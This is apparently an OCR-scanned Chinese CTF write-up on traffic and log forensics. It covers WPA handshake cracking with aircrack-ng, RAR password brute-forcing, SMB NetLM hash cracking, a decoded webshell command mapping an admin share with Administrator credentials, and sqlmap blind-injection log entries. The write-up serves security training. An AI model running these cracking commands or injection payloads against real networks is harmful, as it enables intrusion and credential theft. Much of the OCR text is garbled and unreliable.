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The capture file appears to have been cut short in the
middle of a packet.
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10CalnosT (YY:la:vT:5a:avie.. 82,11
Tp-LinkT d9:49:7e (5c:63:bf.. 882.11
Apple 4c:2a:9a (98:fe:94:4c.. 802.11

. Apple 4c:2a:9a (98:fe:94:4c.. 892.11
Tp-LinkT _d9:49:7e (5c:63:bf.. 802.11
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:~# aircrack-ng shipin.cap
Opening shipin.caplease wait...
Read 16664 packets.

# BSSID Encryption
1 00:1D:0F:5D:DO:EE [SEpRe] WPA (1 handshake)
Choosing first network as target.

Opening shipin.caplease wait...
Read 16664 packets.

1 potential targets

Please specify a dictionary (option -w). ,
g.csdn.net/Auuuuuuuu

IR T AT R A5 Blpassword

aircrack-ng shipin.cap -w ~/%Tf/passwd.txt

:~# aircrack-ng shipin.cap -w ~/%£ & /passwd.txt

Aircrack-ng 1.5.2
[00:00:00] 8/17 keys tested (329.19 k/s)

Time left: 0 seconds

KEY FOUND! [ 88888888 ]

Master Key

Transient Key

EAPOL HMAC 8 ABittAek/ B8y FBn Ay ABIu2AuuU

{5 F airdecap-ngf5 2 # % j5 K1 ##E & shipin-dec.cap

airdecap-ng shipin.cap -p 88888888 -e 0719

:~# airdecap-ng shipin.cap -p 88888888 -e 0719
number of stations seen 6
number of packets read 16664
number of WEP data packets 0
number of WPA data packets 27

of plaintext data packets
of decrypted WEP packets
of corrupted WEP packets
of decrypted WPA packets
of bad TKIP (WPA) packets
of bad CCMP (WPA) packets I e Juuuuuu
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FRFHROERE . WRE, IMEXATERFERE, THIREFE, HEREEE!

A(Address) IEFRZEREEENE (KL HUANPHINIR. BARILEZERE FRMERSEERZIE DN
F7%-55 (web server) b. FIEf LRI LIF EHEM THE.

BARRGAL TR RS RHIP, A AL TEHAR S UFDNS, =i A KRS IR 5] 3 F i BEDNSKIA
TC BT L E AR 5585 o

e, [AALER S push.m.youku.com

B BLO  EIHEE ER HAO)  FEE RO EINRE  EFREE- B-5E 52 Basm- BEO5H 8RN | SnERHSRRNW || BSSEiE | W
[Tdns
o. Tine Source Destination Protocol Length Info
7 2014-06-21 03:44:41.344099 58.240.57.33 localhost DNS 170 Standard query response 0x@f59 A www.google.com /
92014-06-21 03:44:42.337425 localhost 58.240.57.33 DNS 76 Standard query @x63a6 A push.m.youku.com
11 2014-06-21 03:44:42.809487 localhost 58.240.57.33 DNS 78 Standard query @xb810 A asp.cntv.lxdns.com
12 2014-06-21 03:44:42.809489 localhost 58.240.57.33 DNS 76 Standard query @x2@eb A api.3g.youku.com
13 2014-06-21 03:44:42.846373 58.240.57.33 localhost DNS 188 standard query response 0xbg1@ A asp.cntv.lxdns.c
14 2014-06-21 03:44:42.846885 58.240.57.33 localhost DNS 118 standard query response @x20eb A api.3g.youku.cor

flag: ctf{push.m.youku.com}
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Hint: NMEHEET ping TENBEEMA—EHHTEEMETR, flag AAEAT AEN 16 FHREIEEAE,

TERXHGEFES B a5 Npcap, #HwiresharkiT 7
PRpIngR I E L, FrATGEICMP M EHE &

N[icnp

o Time Source Destination Frotocel Length Infe
528 2015-06-12 13:34:11.763452 localhost localhost ICMP 42 Echo (ping) request
593 2015-06-12 13:34:14.443544 localhost localhost ICMP 58 Echo (ping) request
672 2015-06-12 13:34:19.456392 localhost localhost ICMP 58 Echo (ping) request
767 2015-06-12 13:34:24.437181 localhost localhost ICMP 58 Echo (ping) request
821 2015-86-12 13:34:29.445116 localhost localhost ICMP 58 Echo (ping) request

HESPAA
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v Data (16 bytes)
Data: 2122232425262728292a2b2c2d2e2f38
lNeneth: 161

2122232425262728292a2b2c2d2e2f30
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t&t: flagf}
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U VAU L o smrou s niipyoeg preeng ooy
150 2015-09-17 13:56:18.138820 localhost localhost HTTP 399 GET /key.rar HTTP/1.1

i Fwireshark, S-S X% --HTTP
32 %5¢c M —A> IFE K ESE key.rar

%5¢ ILHEAIT T REIRRER: FidRnsfocus+5hr$+

<html>
<head><tittle>KEY¥</tittle></head>
<body>

<p>FE REnsfocus+5r #FF</p>

<a href="./key.rar">key</a>
</body>

</htmly|

python 4= B B2 ) = i

import string

string = "nsfocus"

with open("key.txt", "w") as f:

for num in range(@, 100000):
f.write(string+str(num).zfill(5)+'\n")

1 nsfocus00000 90992 nsfocus99991
2 nsfocus00001 99993 nsfocus99992
3 nsfocus00002 g "o C0c 1599993
4 mefocus00003 T IRl
5 nsfocus00004 99997 nsfocuse999s
6 nsfocus00005 99895 nsfocus%9997
7 nsfocus00006 55555 nsfocus99998
8 nsfocus00007 100000 nsfocus99999

i ARCHPR #2515 %] key nsfocus56317

OS EATE! X
Advanced Archive Password Recovery $iHEB:
HitO$ 56,318
Sithiia 27m 2s 304ms
FAGEE (O 34
BRARHNOS nsfocuss6317 a
Rvay:ic =g 6e 73666f6375733536 333137 s
iz W e
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E4E188flag flag{NCTF_R4r_Cr4ck}

T ——
Syesvt® | oue mmE w0 ZEV) SEE)
flag{NCTF_R4r Cr4ck}

XRMIR BZBGEHIE R, Administratorf] 7K BEKBGE R ME T, REERB
e ?

Hm
AL R T

FLAG9Administratorf B 25465

TERAZ—NEHE, BRERFSIBIEL, PiBlwireshark+

FRaER, ZRHTTPEE, KBEEHHELASE, RITHENevalb$, N BRaE S —aEEERT]
BEAT Bt

k4Lt ye N POSTiER  http.request.method == POST

EE I E

Soin Dessination Protocel Lensth Info

localhost TP 1634 POST /config.php HITP/1.1 (application/x-w-form-urlencoded)

136 2014-11-14 22: localhost HTTP 956 POST /config.php HTTP/1.1 (application/x-wm-form-urlencoded)
340 2014-11-14 22 localhost TP 956 POST /config.php HITP/1.1 (application/x-wm-form-urlencoded)
449 2614-11-14 22 Localhost HITP 1624 POST /config.php HTTP/1.1 (application/x-wm-form-urlencoded)
6322014-11-14 22 localhost TP, 797 pOST /config.php HITP/1.1 (application/x-wm-form-urlencoded)
749 2014-11-14 22: localhost HrTR 791 POST /config.php HTTP/1.1 (application/x-wm-form-urlencoded)
927 2012-11-14 22 localhost HTTP 805 POST /config.php HITP/1.1 (application/x-wm-form-urlencoded)
1349 2014-11-14 22: localhost Wit 801 POST /config.php HTTP/1.1 (application/x-wm-Form-urlencoded)
1527 2014-11-14 22 localhost TP 895 POST /config.php HITP/1.1 (application/x-wm-form-urlencoded)
1635 2014-11-14 22:49:11.608994 localhost localhost Wit 813 POST /config.php HTTP/1.1 (application/x-wm-Form-urlencoded)
13345345 localhost localhost TP 813 pOST /config.php HITP/1.1 (application/x-wm-form-urlencoded)

5.856993 Localhost. localhost urTe 1632 POST /config.php HTTP/1.1 (application/x-wmi-Form-urlencoded)

659241 localhost localhost TP 787 POST /config.php HITP/1.1  (application/x-wwm-form-urlencoded)

BABEE, HEANEH Nbase64mis, ALY
RIGTE 449 BHE AT RIE Testl@#123

Y2QgL2QgImM6XGIuZXRwdWJcd3d3cm9IvdFwiJmSIdCB1c2UgXFwxOTIUMTY4LMWLJE4NFXDJCAIVGVzdCFAIZEYMylgL3U6QWRtaWS5pc3Ry YXRveiZ
IY2hVIFtTXSZJZCZIY 2hvIFtFXQ==

9 Unicodefizs 9 Unicodefiga © UTF8/IURLANE, o UTF8/URLERE © GzZiphi® © GzipfE% O HTMLEEIS
UTF16/02 ) UTF16#22 © Base64fllE © Base64##E O mdSIIE O HexiE: O Hex#ga
cd /d "c:\inetpub\wwwroot\"&net use \\192.168.30.184\C$ "IEEHELAFE" /u:Administrator&echo [S]&cd&echo [E] ‘

NN BEBAE R, §0H
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key{EhsycloverBAS ZES

THAI-NMESHE, BESIBIEL, PiFlwireshark

FEEAZ, RIsmbEIEL, FUANMEIsmbIFEHHFERE, smbf BEHKchallenge B #fisL 2
1122334455667788

DyLTS LUUlliL (DL ). 1s

Challenge: 1122334455667788

T JE 18 B smb B EHE

smbthiX: https://bbs.pediy.comvthread-176189.htm
S
LMHASH:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448

NTHASH:013f3cb06ba848f98a6ae6cb4a76477c5bade45cda73b475

Byte Count (BCC): 231

ANSI Password: 9e94258a03356914b15929fald2e298fab9c8f9f@1999448
Unicode Password: @13f3cbeebag8agfog8acae6ch4a7eA77c5badedscda73bazs
Account: svclover

ANSI Password 4k i 72 & 2E syclover F P K B 51635 LM Hash/E #h 78545 110x00, 753)21F 1

Hash, B34, SHTFEY. BEBHANTEHZidstr to_keyR B E RS FE i HIDES Key, *itR% 431K [H )
challenge# AT tr#DESHI®, B RISHSF WML, &GN CHHEE—#. Unicode Password4: B

HEEE, RAEDESEHRZINTLM Hashib #5152/

MR#ELM Hashi A st 72, LM Hash a8 1 =¥ i 7 iU AT 7AL A RS, B&idstr_to_ketfizidk

DESHn# 4 B3 211 o
£z b, ANSI PasswordiI 85 5 M F B SCE G A 1l 762 B9 K 55 7% 20 DA K AR 55 23 Wi B2 I challenge 5%

A, challenge’y0x1122334455667788, [ AT LAilidchallengei0x1122334455667788HIHALFLMFZHL

FRE Hsycloverf FISCE KA 7TAL KB E K.
FUL R rcracki
53] NETLMIS

Al LA A hashcat &379%2] NetLMis666
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blog.csdn.net/Auuuuuuuy

HEHREMBEER, RRABGHEL
BEEMSIRY, SMERRNLHE, FUEABRERESH. logbBEFE
RATEmMysqlIEC B S0 my.enfh Z3key  YouGotlit!@#$

40 I == | “8 wwwzip\lampp\etc - B 203.4 MB

peen | my.enf - iTEE
sslort MR HwE(E B(0) EF(NV) F|E)H)
sslkey # In this file, you can use all long options that

_| freetds.conf

_| httpd.conf

_| httpd.conf.bak
| locales.conf

# If you want to know which options a prograi
# with the "--help" option.

7 magic # The following options will be passed to all \
| mime types [client]

o

_| openssl.cnf pOl’t = 3306

j E:Zﬁ::nf socket = Jopt/lampp/var/mysql,
| php.ini-pre1.7.2

7] pool.conf # Here follows entries for some specific progr.

| proftpd.canf
_| webalizer.conf # The MySQL server

_| webalizer.conf.sampl

Imvsaldl

AR H R0 .

Analysis nginx's log(this flag is like ROIS{x0d)

T #1523 log_log
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BEE SN .zip 153 E IEHlog X4
R B A FH RPN sqlmapH) B ic &

"squapfl.U—dev (http://sglmap.org)™ "-"

132 192.168.52.1 - - [06/Nov/2015:19:33:05 -0800] "GET
/phpcode/rectf/misc/index.php?id=1%20AND%205150%3DIF%28%280RD%28MID%2¢
ble name%3D0x666c6lEé7%20AND%20table schema%3D0x6d697363%20AND%20%28cc
"sglmap/l.0-dev (http://sglmap.org)™ "-"

133 192.168.52.1 - - [06/Nov/2015:19:33:05 -0800] "GET
/phpcode/rctf/misc/index . php?id=1%20AND%205150%3DIF%268%280RD%26MID%2¢
ble name%3D0x666c6lE7%20AND%20table schema%3D0x6d697363%20AND%20%28cc
"sglmap/l.0-dev (http://sglmap.org)™ "-"

134 192.168.52.1 - - [06/Nov/2015:19:33:05 -0800] "GET
/phpcode/rctf/misc/index . php?id=1%20AND%205150%3DIF%268%280RD%26MID%2¢
ble name%3D0x666c6lE7%20AND%20table schema%3D0x6d697363%20AND%20%28cc
"sglmap/l.0-dev (http://sglmap.org)™ "-"

135 192.168.52.1 - - [06/Nov/2015:19:33:05 -0800] "GET
/phpcode/rectf/misc/index.php?id=1%20AND%205150%3DIF%28%280RD%28MID%2¢
ble name%3D0x666c6167%20AND%20table schema%3D0x6d697363%20AND%20%28¢cc
"sqlmap/l.0-dev (http://sglmap.org)™ "-"

136 192.168.52.1 - - [06/Nov/2015:19:33:05 -0800] "GET

/phpcode/rectf/misc/index.php?id=1%20AND%205150%3DIF%28%280RD%28MID%2¢

ble name%3D0x666c6167%20AND%20table schema%3D0x6d697363%20AND%20%28¢cc

"sqlmap/l.0-dev (http://sglmap.org)™ "-"

HEHZRagEE, RICTMBHERE, A5 KIsqmaplEEi@Eil — kR flagR fiflag BN AE (HERANZER
HIASCIIFS 8 K 5 #I WD

HERPURHAZNEAN T/

RIS B4 74508 BT ASCIIG

[82,79,73,83,123,109,105,83,99,95,65,110,64,108,121,83,105,115,95,110,71,49,110,120,95, 83,105,109, 125,5]

python ##: 52| ROIS{miSc_An@lySis_nG1nx_Sim}

list =[82,79,73,83,123,109,105,83,99,95,65,110,64,108,121,83,105,115,95,110,71,49,110,120,95, 83,105,109, 125
strl = ""
for i in list:

strl += chr(i)

print(stril)
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